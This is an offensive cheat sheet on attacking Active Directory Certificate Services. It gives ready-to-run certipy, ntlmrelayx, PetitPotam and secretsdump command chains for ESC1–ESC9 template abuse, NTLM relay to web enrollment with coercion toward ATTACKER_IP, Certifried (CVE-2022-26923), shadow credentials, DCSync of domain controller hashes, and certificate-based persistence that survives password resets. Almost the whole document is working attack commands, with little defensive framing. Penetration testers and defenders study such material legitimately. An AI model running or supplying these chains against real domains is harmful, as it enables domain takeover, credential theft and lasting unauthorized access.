AD Attacks

ADCS — Certificate Attacks

Active Directory Certificate Services attack surface: certipy enumeration, ESC1–ESC8 exploitation, NTLM relay to CA (ESC8), Certifried (CVE-2022-26923), shadow credentials via certificates, and using certificates for persistent domain access.

ADCS issues X.509 certificates that can authenticate users and machines via Kerberos PKINIT or LDAP. Misconfigurations in certificate templates let low-privilege users enroll certificates that authenticate as high-privilege accounts — without touching password hashes.

Find ADCS in the Environment

# certipy — find all CAs and templates, flag vulnerable ones
certipy find -u user@corp.local -p pass -dc-ip DC_IP -vulnerable -stdout

# certipy — save to JSON for offline review
certipy find -u user@corp.local -p pass -dc-ip DC_IP -vulnerable -json

# nxc — quick CA discovery
nxc ldap DC_IP -u user -p pass -M adcs

# Manual LDAP
ldapsearch -x -H ldap://DC_IP -D "corp\user" -w pass \
  -b "CN=Configuration,DC=corp,DC=local" \
  "(objectClass=pKIEnrollmentService)" cn

# certutil (Windows)
certutil -config - -ping    # list CAs
certutil -ca.cert           # get CA cert

ESC1 — Enrollee Supplies Subject (Client Auth)

Condition: Template allows CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, has Client Authentication EKU, and any low-priv user can enroll.

# Request certificate as administrator
certipy req -u user@corp.local -p pass -ca CA_NAME -template VULN_TEMPLATE \
  -upn administrator@corp.local -dc-ip DC_IP

# Authenticate with certificate → get TGT + NT hash
certipy auth -pfx administrator.pfx -dc-ip DC_IP

After getting the NT hash: use for Pass-the-Hash or request a TGT via getTGT.py.


ESC2 — Any Purpose EKU

Condition: Template has Any Purpose EKU or no EKU (unrestricted use). Certificate can be used for client auth.

# Same as ESC1 — request as target user
certipy req -u user@corp.local -p pass -ca CA_NAME -template VULN_TEMPLATE \
  -upn administrator@corp.local -dc-ip DC_IP
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC3 — Certificate Request Agent

Condition: Template allows enrollment agent + a second template allows agents to enroll on behalf of other users.

# Step 1 — enroll as an enrollment agent
certipy req -u user@corp.local -p pass -ca CA_NAME -template EnrollmentAgent \
  -dc-ip DC_IP

# Step 2 — use agent cert to request cert on behalf of administrator
certipy req -u user@corp.local -p pass -ca CA_NAME -template User \
  -on-behalf-of corp\\administrator -pfx agent.pfx -dc-ip DC_IP

# Step 3 — authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC4 — Vulnerable Template ACL

Condition: A low-priv user has WriteDACL, WriteProperty, or GenericAll on the template object itself. Modify the template to add ESC1 conditions.

# certipy — modify template to enable enrollee-supplied subject
certipy template -u user@corp.local -p pass -template VULN_TEMPLATE \
  -save-old -dc-ip DC_IP

# After modification, exploit as ESC1
certipy req -u user@corp.local -p pass -ca CA_NAME -template VULN_TEMPLATE \
  -upn administrator@corp.local -dc-ip DC_IP

# Restore template to original state
certipy template -u user@corp.local -p pass -template VULN_TEMPLATE \
  -load-old -dc-ip DC_IP

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

Condition: CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set — any template that allows client auth can have an arbitrary UPN added by the requester.

# certipy identifies this as ESC6 in output
certipy find -u user@corp.local -p pass -dc-ip DC_IP -vulnerable -stdout

# Request with arbitrary SAN (even on non-ESC1 templates)
certipy req -u user@corp.local -p pass -ca CA_NAME -template User \
  -upn administrator@corp.local -dc-ip DC_IP

ESC7 — Vulnerable CA ACL

Condition: A low-priv user has ManageCertificates or ManageCA permission on the CA object.

# With ManageCertificates — approve a pending "request" to bypass manager approval
certipy ca -u user@corp.local -p pass -ca CA_NAME -issue-request REQUEST_ID -dc-ip DC_IP

# With ManageCA — enable EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6 condition)
certipy ca -u user@corp.local -p pass -ca CA_NAME \
  -enable-subjectAltName -dc-ip DC_IP

ESC8 — NTLM Relay to Web Enrollment

Condition: CA has HTTP-based web enrollment enabled at /certsrv/. No signing/EPA enforcement.

# Start ntlmrelayx targeting the CA
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC authentication (trigger the relay)
python3 PetitPotam.py ATTACKER_IP DC_IP
# or
python3 printerbug.py 'corp.local/user:pass'@DC_IP ATTACKER_IP

# ntlmrelayx captures a certificate for the DC account
# Authenticate with it to get DC TGT + NT hash
certipy auth -pfx dc.pfx -dc-ip DC_IP

# DCSync using the DC hash
secretsdump.py -hashes ':DC_NT_HASH' 'corp.local/DC$'@DC_IP -just-dc-ntlm

ESC9 — No Security Extension (szOID_NTDS_CA_SECURITY_EXT)

Condition: Template has CT_FLAG_NO_SECURITY_EXTENSION flag. Allows enrolling with different userPrincipalName than the enrolling account. Combined with GenericWrite on a user account.

# Change target user's UPN to administrator@corp.local (requires GenericWrite)
certipy account update -u attacker@corp.local -p pass -user victim \
  -upn administrator@corp.local -dc-ip DC_IP

# Request cert as victim (UPN now says administrator@)
certipy req -u victim@corp.local -p victim_pass -ca CA_NAME -template VULN_TEMPLATE \
  -dc-ip DC_IP

# Restore UPN
certipy account update -u attacker@corp.local -p pass -user victim \
  -upn victim@corp.local -dc-ip DC_IP

# Authenticate as administrator
certipy auth -pfx administrator.pfx -dc-ip DC_IP

Certifried — CVE-2022-26923

Create a machine account, set its dNSHostName to match a DC, request a certificate, and authenticate as the DC.

# Create a machine account
certipy account create -u user@corp.local -p pass \
  -user EVILPC -dns dc.corp.local -dc-ip DC_IP

# Request Machine template cert (dNSHostName identifies it as the DC)
certipy req -u 'EVILPC$@corp.local' -p EvilPass123! \
  -ca CA_NAME -template Machine -dc-ip DC_IP

# Authenticate as DC$ → get NT hash
certipy auth -pfx evilpc.pfx -dc-ip DC_IP

# DCSync
secretsdump.py -hashes ':DC_NT_HASH' 'corp.local/DC$'@DC_IP -just-dc-ntlm

Shadow Credentials via Certificates

When you have GenericWrite or AddKeyCredentialLink on a user/computer, add a certificate credential instead of using ESC1. Works even without a misconfigurated template.

# certipy shadow
certipy shadow auto -u attacker@corp.local -p pass -account victim -dc-ip DC_IP
# → victim NT hash directly

# On a computer account
certipy shadow auto -u attacker@corp.local -p pass -account 'TARGET$' -dc-ip DC_IP

Certificate-Based Persistence

Once you obtain a valid certificate for a high-value account, use it for persistence — certificates survive password resets.

# Store certificate for later use
certipy auth -pfx administrator.pfx -dc-ip DC_IP -save-ccache admin.ccache

# Re-authenticate after password reset (cert still valid until expiry)
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# Get NT hash from cert (PKINIT → NTLM via U2U)
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell

PKINIT Authentication Flow

1. Client presents certificate to KDC (AS-REQ with pre-auth data)
2. KDC validates cert against CA chain
3. KDC issues TGT (standard Kerberos flow continues)
4. TGT contains NT hash via Unpac-the-Hash (PKINIT → AS-REP decryption)

The NT hash retrieved by certipy auth comes from the PKINIT exchange itself — not from a password database query. This is why certificate-based auth survives password resets (the cert is the auth factor, not the password).


certipy Quick Reference

# Find vulnerable templates
certipy find -u user@corp.local -p pass -dc-ip DC_IP -vulnerable -stdout

# Request certificate
certipy req -u user@corp.local -p pass -ca CA_NAME -template TEMPLATE_NAME -dc-ip DC_IP

# Request with target UPN (ESC1/ESC6)
certipy req -u user@corp.local -p pass -ca CA_NAME -template TEMPLATE_NAME \
  -upn administrator@corp.local -dc-ip DC_IP

# Authenticate with cert
certipy auth -pfx output.pfx -dc-ip DC_IP

# Shadow credentials
certipy shadow auto -u attacker@corp.local -p pass -account TARGET -dc-ip DC_IP

# CA management
certipy ca -u user@corp.local -p pass -ca CA_NAME -list-templates -dc-ip DC_IP